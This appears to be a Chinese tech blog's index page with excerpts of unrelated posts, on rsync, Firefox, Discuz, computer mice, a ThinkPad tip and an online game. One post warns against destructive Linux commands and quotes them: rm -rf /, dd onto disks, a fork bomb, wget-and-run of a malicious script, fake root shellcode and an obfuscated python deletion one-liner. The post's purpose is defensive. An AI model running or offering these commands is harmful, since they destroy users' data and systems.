0%

用rsync对网站进行镜像备份

by inburst <inburst@263.net>
http://xfocus.org

对系统管理员来说,平时的工作重心应该集中在维护系统正常运转,能够正常提供服务上,这里往往牵涉到一个数据备份的问题,在我所了解的情况中,有80%的系统管理员不是太关心自己服务器的安全性,但往往对备分镜像的技术相当感兴趣,但由于商业产品的软硬件价格都相当高昂,因此往往会选择自由软件。这里准备介绍的rsync就是这样的软件,它可以满足绝大多数要求不是特别高的备份需求。

一、特性简介

rsync是类unix系统下的数据镜像备份工具,从软件的命名上就可以看出来了——remote sync。它的特性如下:

  1. 可以镜像保存整个目录树和文件系统。
  2. 可以很容易做到保持原来文件的权限、时间、软硬链接等等。
  3. 无须特殊权限即可安装。
  4. 优化的流程,文件传输效率高。
  5. 可以使用rcp、ssh等方式来传输文件,当然也可以通过直接的socket连接。
  6. 支持匿名传输。
Read more »

眼球烧饼 最最基本的烧饼,属性是最基本的但是可以戴头盔来补足属性
材料:物品合成等级之和=2
兔耳烧饼 最小伤害+3/最大伤害+3/震晕+30%/免疫震晕
材料:物品合成等级之和=3
蟹黄烧饼 最小伤害+5/最大伤害+5/速度*0.8/暴击+10%/抗暴击+20% /抗震晕+20%/免疫点燃
材料:物品合成等级之和=4
昆虫烧饼 HP+100/抗普通+12%/抗弓箭+50%/抗标枪+50%/抗长矛+12%
材料:物品合成等级之和=5
刺猬烧饼 HP+50/速度*0.5/暴击+80%
材料:物品合成等级之和=6
牛角烧饼 HP+80/最小伤害+30/最大伤害+50/速度*1.3/抗普通+6%/抗弓箭+10%/抗标枪+10%/抗长矛+6%/暴击+20%/击退+50%/震晕+50%/抗暴击+20%/抗击退+20%/抗震晕+20%
材料:物品合成等级之和=7
天使烧饼 HP+150/最小伤害+10/最大伤害+15/速度*0.8/暴击+50%
材料:物品合成等级之和=8

最近刚刚把自己的firefox1.5升级到了2.0,界面美观了不少,速度也变的比较快了,很多地方都优化的很细致。但有一些习惯性的东西却被改变 了,比如经常上discuz系统的论坛的朋友使用alt+s快捷回复的时候会出现历史标签,虽然回复也post出去了,但每次都出现那个历史的确是非常的 碍眼啊。经过多方搜索和实践,终于让我找到了解决方法,现在就给广大的firefox2.0用户分享一下心得。

第一种方法是修改config设置,这个方法我试验过但没有成功,不过还是拿出来,如果有人成功的话请留言回复下好么?
首先打开一个空白页面,然后在地址栏输入about:config,回车就会出现firefox的系统设置页面,跟windows的注册表类似一样,修改缓存什么的都在这里进行修改。
然后我们在筛选器里面输入Ui.key.contentAccess,就会筛选出我们要修改的值了,双击这个值把内含值5修改成4确定后就可以重启firefox了。重启后就alt+s快捷回复的时候就不会出现历史项了,不过我没有成功。

第二种方法是修改基础文件的,这个方法我实验通过了,目前我就是使用这种方法可以快捷回复的。
首先找到firefox2.0的安装目录,找到chromezh-CN.jar文件。
用winrar直接打开,不要全部解压缩,如果全部解压缩修改的话会出现问题的。
在里面找到localebrowserbrowser.dtd这个文件,对着它点右键解压出来。
使用记事本打开browser.dtd文件,然后ctrl+f找到historyMenu.accesskey,将”s”修改成任何一个字母。关闭保 存,然后直接用鼠标把修改后的文件拖回winrar直接打开的zh-CH.jar文件localebrowser目录下面,会问你要不要覆盖,直接 确定就可以了。
然后使用alt+s快捷回复的时候就不会再出现历史了,如果觉得这个方法比较不安全,可以在修改之前备份一下zh-CN.jar文件。不过目前我一直使用着没有发现任何问题,推荐大家使用这个方法修改。

虽然我们可以修改firefox2.0的设置达到这个目的,但还是希望在下个版本中能够软件自己修改好这个算是bug的小瑕疵吧。但瑕不掩玉,虽然有些小瑕疵,但firefox浏览器还是目前世界上最好用最迅速的浏览器。

DISCUZ5.0数据库数据字典
默认库共68个数据表,(以下表数据量注释均为默认)

cdb_access (用户权限表)
uid 用户id
fid 论坛id
allowview 允许浏览
allowpost 允许发新帖
allowreply 允许回复
allowgetattach 允许下载附件
allowpostattach 允许上传附件
———————————————————
cdb_activities
tid 帖子ID
uid 发布人ID
cost 每人花销
starttimefrom 时间范围始
starttimeto 时间范围止
place 活动地点
class 活动类别
gender 性别
number 需要人数
expiration 截止日期

Read more »

Technology makes life so much more fashionable and trendy. This law holds everywhere ranging from technology in software to technology in hardware.

Today what we are about to witness is what I call innovation in hardware technology. Previously I have introduced different types of new and trendy computer mouse and keyboards to my readers but today I am going to show you 25 Computer mouse you have never seen before shared by Using Mac.

  1. LG Finger Mouse

  1. Slim Mouse

  1. Mogo Mouse

  1. Ring Mouse

  1. G9 Laser Mouse

  1. Skype Phone Mouse

  1. Logitech Air Mouse

  1. EzKey Keypad Mouse

  1. Sidewinder Gaming Mouse

  1. 3D Navigational Mouse

  1. N30 Game Mouse

  1. Gun Mouse

  1. NES Gamepad Mouse

  1. Belkin Hybrid Mouse

  1. Fanatec Headshot Uber Mouse

  1. Anti-Bacterial Mouse

  1. Tablet Mouse

  1. Acryclic Mouse

  1. MUS2 Mouse

  1. Heart Mouse

  1. Natural Laser Mouse

  1. Powerball Mouse

  1. Horror Mouse

  1. Boob Mouse

  1. Real USB Mouse

警告:

文中列出的命令绝对不可以运行,即使你觉得很好奇也不行,因为它们会实实在在的破坏你的系统。

早晚有一天,Linux 系统会像 Windows 那样流行,用的人越来越多,包括对计算机不是很了解的人,本文的目的就是告诉大家:在 Linux 给你最大程度自由度的同时,也使得破坏系统变得更加容易,如果你不了解某些命令的意义,下载执行包含恶意命令的脚本,或者被骗运行某些命令,很容易让你哭 都来不及。

  • 这并不是说明 Linux 不安全,只是说明在不了解 Linux ,和很不小心的人面前,Linux 十分不安全。Windows 也好,Linux 也好,人本身才是最大的不安全因素。

下面的命令会删除你硬盘上的文件,rm 的 -r 递归删除,和 -f 强制删除是很危险的选项,即使日常操作,也会遇到误删文件的情况。

1
2
3
4
5
sudo rm -rf / 删除根分区全部的文件
sudo rm -rf . 删除当前目录下的所有文件
sudo rm -rf * 同上
rm -rf * or rm -rf *.* 同上
rm -rf ~ / & 删除根分区和家目录,即使你不是root,家目录还是不能幸免。

同样,如果你不知道 mkfs.xxxx (xxxx 可以是 vfat、ext2、ext3、bfs……) 是格式化命令的话,运行下面的命令会擦除你的硬盘分区:

1
sudo mkfs.xxxx
  • dd 是强大的 IO 输入输出定向工具,如果使用不当,破坏性很大,不仅仅是当前分区,当前系统,有的时候是整个硬盘。

    1
    2
    3
    sudo dd if=/dev/zero of=/dev/sda 全部硬盘清零。
    sudo dd if=/dev/sda of=/dev/sdb 用第一块硬盘的内容覆盖第二块的内容。
    sudo dd if=something of=/dev/sda 往硬盘上写垃圾数据。

    同理,直接把命令结果定向到硬盘上,相当于往硬盘上写垃圾数据:

    1
    any_command > /dev/sda 用随意的数据破坏硬盘

    上面的 sda 、sdb 也可能是其他类似的名称。Linux 的 /dev 系统给操纵硬件提供了很方便和强大的功能,同时也使得破坏变得更容易。

  • fork 命令打开一个子进程,如果把 fork 放在无限循环中,最终子进程会耗尽所有内存资源:

    1
    :(){:|:&};:

    这段不知所云的符号,可以让 Shell 不停的 fork 子进程,最后导致内存耗尽,不得不重启,这不是 bug,只是 Shell 语句故意写成简写的形式而已。下面的同理:

    1
    fork while fork
  • 有的时候,压缩包也是一个破坏来源~有的压缩包要求你解压到某个系统中已经存在的目录中,这时候你就要特别小心了,压缩包里面可能有成千上万的小文件,以各种文件名尝试覆盖你现有的文件。有的压缩包看起来很小,但是解压出来是上 GB 的垃圾数据,会充斥你的硬盘。

从不正规网站下载的程序、脚本,同样会有包含恶意命令的危险,不可随便执行:

1
2
3
4
wget http://some_place/some_file
sh ./some_file
wget http://hax018r.org/malicious-script
sh ./malicious-script

下载脚本要确保来源正规,如果有能力,可以阅读其代码。

  • 即使有源代码的程序,也不要随便编译执行:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    char esp[] __attribute__ ((section(".text"))) /* e.s.p
    release */
    = "xebx3ex5bx31xc0×50×54×5ax83xecx64×68"
    "xffxffxffxffx68xdfxd0xdfxd9×68x8dx99"
    "xdfx81×68x8dx92xdfxd2×54x5exf7×16xf7"
    "x56×04xf7×56x08xf7×56x0cx83xc4×74×56"
    "x8dx73×08×56×53×54×59xb0×0bxcdx80×31"
    "xc0×40xebxf9xe8xbdxffxffxffx2fx62×69"
    "x6ex2fx73×68×00×2dx63×00"
    "cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;";

上面看起来只是一堆没有意义的 16 进制数据,如果有人告诉你,运行这个程序你就可以不输入密码取得系统的 root 权限,你可不要相信他,上面的程序实际运行的是 rm -rf ~ / & !!!

  • python 一类的脚本语言,同样可以拿来搞破坏:python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))' 这段程序实际上会执行 rm -rf *,也许你很奇怪上面程序结尾的 "sn!.sg!+" 是什么意思,实际上就是 rm -rf * 每个字母的下一个!

那么我们如何避免运行恶意程序呢?

第一不要用 root 作为日常使用的用户,上面的程序,如果当前用户不是 root,危害的波及范围就会小很多。

第二要知道哪些命令是干什么用的,不知道的命令不要冒然运行。运行有潜在破坏能力的程序,要小心检查自己的输入。
**
第三要保证软件、脚本的来源正规。**

最后一点,虽然比较消极,但是确实十分重要的一点:

经常备份你的数据!!

在切换中英文输入时经常把Ctrl+空格键误按为FN+空格键,X60 X61以及T60系列都有这个设置,可能是设计没有考虑到中文用户经常需要做输入法切换吧。

怎样删除这个功能呢?
方法是:在添加删除程序中可以找到ThinkPad magnifier(放大镜)程序,删除后重启Windows XP操作系统即可。

在蓝键的功能列表中还有一个Keyboard Customizer Utility对设置FN的放大键没用。

写得很好的一篇文章,转过来保存

=====================
前言、你可以看完前言就把这篇文章扔到一边

《征途》=?假如你刚好没玩过《征途》,那么在本文开始之前,我认为你有必要先回忆一下脑海里对《征途》的印象。就我猜测,你可能想到的关键词大致 包括这些:最昂贵的游戏,垃圾游戏,黑心的公司,史玉柱,道德的底限,游戏行业的搅局者……如果这猜测正确的话,那么我要说,大致在一个月前,我跟你的这 些想法一样,——可能更甚。

但是,在接触了《征途》一个月后,我却得出了一个令自己都难以相信,难以接受的结论:我18年(今年24岁, 1989年6岁时开始接触FC,1990年7岁时开始接触黄海286电脑以及上面的游戏)来的游戏理念,以及近8年来在游戏行业工作的经验,——所有这一 切,统统都被颠覆了。当我向身边一位朋友推荐《征途》时,我是这样说的:“《征途》是一款颠覆了现有游戏理念的东西,堪称‘心理学百科全书’+‘营销百科 全书’,我在玩过《征途》之后,最大的感受就是这些年游戏全白玩了。”

——至此,如果你认为这是一篇枪稿,那么可以不看了。否则请继续。

一、不可忽视的《征途》理念

因为工作的关系,我看过许多公司的“《征途》研究报告”,也听过不少业内人士对《征途》的评价。但是这些研究和评价基本都是围绕《征途》的系统展开 的,却忽略了《征途》最本质的东西,它的理念,以及它所颠覆的理念。我认为这和我们在制作、运营,乃至玩游戏的时候,很少去思考什么是游戏理念有关。

所谓游戏理念,在本文中的定义主要是指设计一款游戏的思想依据,包括:你认为一款游戏的意义何在?比如,日本某著名游戏制作人说:一款游戏如果不能 折磨玩家几百个小时,那它简直不配称为游戏;游戏应该做成什么样?比如,Blizzard认为要让玩家在每一个阶段都能体验到乐趣,发现惊喜,循序渐进; 它如何给人带来快乐、或者说你从种获得了什么样的快乐?比如,许多游戏公司都会不停的推出新系统、道具和内容;等等这些……

Read more »